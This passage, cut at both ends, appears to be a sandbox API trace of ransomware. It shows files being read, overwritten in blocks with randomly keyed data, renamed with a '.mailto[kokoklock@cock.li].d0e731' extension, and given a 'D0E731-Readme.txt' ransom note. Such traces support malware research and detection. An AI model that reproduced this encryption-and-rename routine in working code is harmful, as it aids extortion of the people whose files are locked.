liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.916] ReadFile (in: hFile=0x9b0, lpBuffer=0x1b13fdec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1b13fde8, lpOverlapped=0x0 | out: lpBuffer=0x1b13fdec*, lpNumberOfBytesRead=0x1b13fde8*=0x4, lpOverlapped=0x0) returned 1 [0074.916] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479188 [0074.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478ff8 [0074.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34791b0 [0074.916] NtQuerySystemTime (in: CurrentTime=0x1b13fdc4 | out: CurrentTime=0x1b13fdc4*=132121176328159305) returned 0x0 [0074.916] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xcfefb914 [0074.916] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0x4899c318 [0074.916] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xf569ec07 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xc96b5ca4 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xfef43e61 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0x7bad010d [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0x8ca80d47 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0x1386bd6c [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xe7d3eb68 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xc9705264 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0x9596d709 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xae91efe4 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xe97e1a58 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xcd0926c2 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0x8e33b052 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xa39fc47b [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xdf208259 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xe3ec9b21 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0x1af85f39 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0x77d7c54c [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0x9f37da2e [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xa7d7cb2 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0x60215145 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xe8ebe4ef [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xe4d6ed0c [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0x9c8566c8 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0x346d0aa9 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xe0053e59 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xff35769a [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0x667571e6 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xf2b2ddd4 [0074.917] RtlRandom (in: Seed=0x1b13fdd0 | out: Seed=0x1b13fdd0) returned 0xb933c10e [0074.929] ReadFile (in: hFile=0x9b0, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1b13fdc4, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1b13fdc4*=0x2000, lpOverlapped=0x0) returned 1 [0074.929] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1b13fd8c | out: lpNewFilePointer=0x0) returned 1 [0074.929] WriteFile (in: hFile=0x9b0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1b13fdc0, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1b13fdc0*=0x2000, lpOverlapped=0x0) returned 1 [0074.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479250 [0074.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478df0 [0074.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478df0) returned 1 [0074.930] WriteFile (in: hFile=0x9b0, lpBuffer=0x3479250*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b13fdbc, lpOverlapped=0x0 | out: lpBuffer=0x3479250*, lpNumberOfBytesWritten=0x1b13fdbc*=0x20, lpOverlapped=0x0) returned 1 [0074.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479250) returned 1 [0074.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0074.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0074.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0074.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.930] WriteFile (in: hFile=0x9b0, lpBuffer=0x3479160*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1b13fde8, lpOverlapped=0x0 | out: lpBuffer=0x3479160*, lpNumberOfBytesWritten=0x1b13fde8*=0x8, lpOverlapped=0x0) returned 1 [0074.930] WriteFile (in: hFile=0x9b0, lpBuffer=0x1b13fe00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b13fde8, lpOverlapped=0x0 | out: lpBuffer=0x1b13fe00*, lpNumberOfBytesWritten=0x1b13fde8*=0x4, lpOverlapped=0x0) returned 1 [0074.930] WriteFile (in: hFile=0x9b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b13fde8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1b13fde8*=0x4, lpOverlapped=0x0) returned 1 [0074.930] WriteFile (in: hFile=0x9b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1b13fde8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1b13fde8*=0x6c, lpOverlapped=0x0) returned 1 [0074.930] WriteFile (in: hFile=0x9b0, lpBuffer=0x3478ff8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b13fde8, lpOverlapped=0x0 | out: lpBuffer=0x3478ff8*, lpNumberOfBytesWritten=0x1b13fde8*=0x20, lpOverlapped=0x0) returned 1 [0074.931] WriteFile (in: hFile=0x9b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b13fde8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1b13fde8*=0x4, lpOverlapped=0x0) returned 1 [0074.931] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ff8) returned 1 [0074.931] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0074.931] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479160) returned 1 [0074.931] CloseHandle (hObject=0x9b0) returned 1 [0074.931] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x3431580 [0074.931] wcscpy (in: _Dest=0x3431580, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk" [0074.931] wcscat (in: _Dest=0x3431580, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk.mailto[kokoklock@cock.li].d0e731" [0074.931] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edb.chk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edb.chk.mailto[kokoklock@cock.li].d0e731")) returned 1 [0074.932] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0074.932] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431580) returned 1 [0074.932] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.chk", dwFileAttributes=0x20) returned 0 [0074.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e28d0 [0074.932] wcscpy (in: _Dest=0x33e28d0, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0074.932] wcscat (in: _Dest=0x33e28d0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\D0E731-Readme.txt" [0074.932] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\d0e731-readme.txt")) returned 0xffffffff [0074.933] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b0 [0074.933] WriteFile (in: hFile=0x9b0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1b13fde4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1b13fde4*=0x481, lpOverlapped=0x0) returned 1 [0074.934] CloseHandle (hObject=0x9b0) returned 1 [0074.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e28d0) returned 1 [0074.934] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0074.934] RtlExitUserThread (Status=0x1) Thread: id = 712 os_tid = 0x1340 [0074.935] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edb.log")) returned 0x20 [0074.936] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log", dwFileAttributes=0x20) returned 1 [0074.936] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0074.936] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edb.log", dwFileAttributes=0x20) returned 1 [0074.936] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0074.936] RtlExitUserThread (Status=0x0) Thread: id = 713 os_tid = 0x1344 [0074.937] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edbres00001.jrs")) returned 0x20 [0074.937] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs", dwFileAttributes=0x20) returned 1 [0074.938] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9b0 [0074.938] GetFileSizeEx (in: hFile=0x9b0, lpFileSize=0x1b23fc28 | out: lpFileSize=0x1b23fc28*=1310720) returned 1 [0074.938] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x13fffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.938] ReadFile (in: hFile=0x9b0, lpBuffer=0x1b23fbfc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1b23fbf8, lpOverlapped=0x0 | out: lpBuffer=0x1b23fbfc*, lpNumberOfBytesRead=0x1b23fbf8*=0x4, lpOverlapped=0x0) returned 1 [0074.939] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479188 [0074.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478ff8 [0074.939] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34791d8 [0074.939] NtQuerySystemTime (in: CurrentTime=0x1b23fbd4 | out: CurrentTime=0x1b23fbd4*=132121176328316195) returned 0x0 [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xdaffbc0b [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x5b4cc991 [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x3ef53828 [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x53c6cd67 [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x74251af5 [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x93b603f [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xc9889eff [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xa62c1abe [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xbb07932e [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x7854a712 [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x239ff15b [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xa3537ae7 [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xaf706cca [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x8cc09746 [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xbceb2c28 [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x6fda1f97 [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x46329e4b [0074.939] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xc7c530ac [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xb53cecec [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xf57bfcaf [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x8cf81786 [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x8a0a1fc7 [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xbb40faa7 [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x39c3ef7c [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x3a9e69f2 [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x764885e2 [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x23fe712 [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xbbe8cbdb [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xb8a284fc [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x194639de [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0xdb44e683 [0074.940] RtlRandom (in: Seed=0x1b23fbe0 | out: Seed=0x1b23fbe0) returned 0x3003e5df [0074.951] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.951] ReadFile (in: hFile=0x9b0, lpBuffer=0x348a220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1b23fb94, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1b23fb94*=0x4096, lpOverlapped=0x0) returned 1 [0074.952] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0074.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0074.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479048 [0074.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479048) returned 1 [0074.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0074.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479250 [0074.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478df0 [0074.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478df0) returned 1 [0074.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0074.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0074.953] WriteFile (in: hFile=0x9b0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1b23fb94, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1b23fb94*=0x4096, lpOverlapped=0x0) returned 1 [0074.953] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0074.953] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0xa1770, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.953] ReadFile (in: hFile=0x9b0, lpBuffer=0x348a220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1b23fb94, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1b23fb94*=0x4096, lpOverlapped=0x0) returned 1 [0074.954] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0xa1770, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd9d0 [0074.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479d30 [0074.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478fd0 [0074.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478fd0) returned 1 [0074.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0074.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478f30 [0074.954] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478f80 [0074.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478f80) returned 1 [0074.954] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0074.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd9d0) returned 1 [0074.955] WriteFile (in: hFile=0x9b0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1b23fb94, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1b23fb94*=0x4096, lpOverlapped=0x0) returned 1 [0074.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0074.963] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x13bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.963] ReadFile (in: hFile=0x9b0, lpBuffer=0x348a220, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1b23fb94, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1b23fb94*=0x4096, lpOverlapped=0x0) returned 1 [0074.963] SetFilePointerEx (in: hFile=0x9b0, liDistanceToMove=0x13bf6a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd628 [0074.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0074.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479188 [0074.963] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479188) returned 1 [0074.963] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0074.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479200 [0074.964] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478ee0 [0074.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ee0) returned 1 [0074.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0074.964] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd628) returned 1 [0074.964] WriteFile (in: hFile=0x9b0, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1b23fb94, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1b23fb94*=0x4096, lpOverlapped=0x0) returned 1 [0074.972] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0074.972] WriteFile (in: hFile=0x9b0, lpBuffer=0x3479250*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b23fbf0, lpOverlapped=0x0 | out: lpBuffer=0x3479250*, lpNumberOfBytesWritten=0x1b23fbf0*=0x20, lpOverlapped=0x0) returned 1 [0074.973] WriteFile (in: hFile=0x9b0, lpBuffer=0x3478f30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b23fbf0, lpOverlapped=0x0 | out: lpBuffer=0x3478f30*, lpNumberOfBytesWritten=0x1b23fbf0*=0x20, lpOverlapped=0x0) returned 1 [0074.973] WriteFile (in: hFile=0x9b0, lpBuffer=0x3479200*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b23fbf0, lpOverlapped=0x0 | out: lpBuffer=0x3479200*, lpNumberOfBytesWritten=0x1b23fbf0*=0x20, lpOverlapped=0x0) returned 1 [0074.973] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0074.973] WriteFile (in: hFile=0x9b0, lpBuffer=0x3479160*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1b23fbf8, lpOverlapped=0x0 | out: lpBuffer=0x3479160*, lpNumberOfBytesWritten=0x1b23fbf8*=0x8, lpOverlapped=0x0) returned 1 [0074.973] WriteFile (in: hFile=0x9b0, lpBuffer=0x1b23fc10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b23fbf8, lpOverlapped=0x0 | out: lpBuffer=0x1b23fc10*, lpNumberOfBytesWritten=0x1b23fbf8*=0x4, lpOverlapped=0x0) returned 1 [0074.973] WriteFile (in: hFile=0x9b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b23fbf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1b23fbf8*=0x4, lpOverlapped=0x0) returned 1 [0074.973] WriteFile (in: hFile=0x9b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1b23fbf8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1b23fbf8*=0x6c, lpOverlapped=0x0) returned 1 [0074.973] WriteFile (in: hFile=0x9b0, lpBuffer=0x3478ff8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b23fbf8, lpOverlapped=0x0 | out: lpBuffer=0x3478ff8*, lpNumberOfBytesWritten=0x1b23fbf8*=0x20, lpOverlapped=0x0) returned 1 [0074.973] WriteFile (in: hFile=0x9b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b23fbf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1b23fbf8*=0x4, lpOverlapped=0x0) returned 1 [0074.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478ff8) returned 1 [0074.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0074.974] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479160) returned 1 [0074.974] CloseHandle (hObject=0x9b0) returned 1 [0074.974] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc2) returned 0x33f73a8 [0074.974] wcscpy (in: _Dest=0x33f73a8, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\edbres00001.jrs") returned="C:\\Users\\All 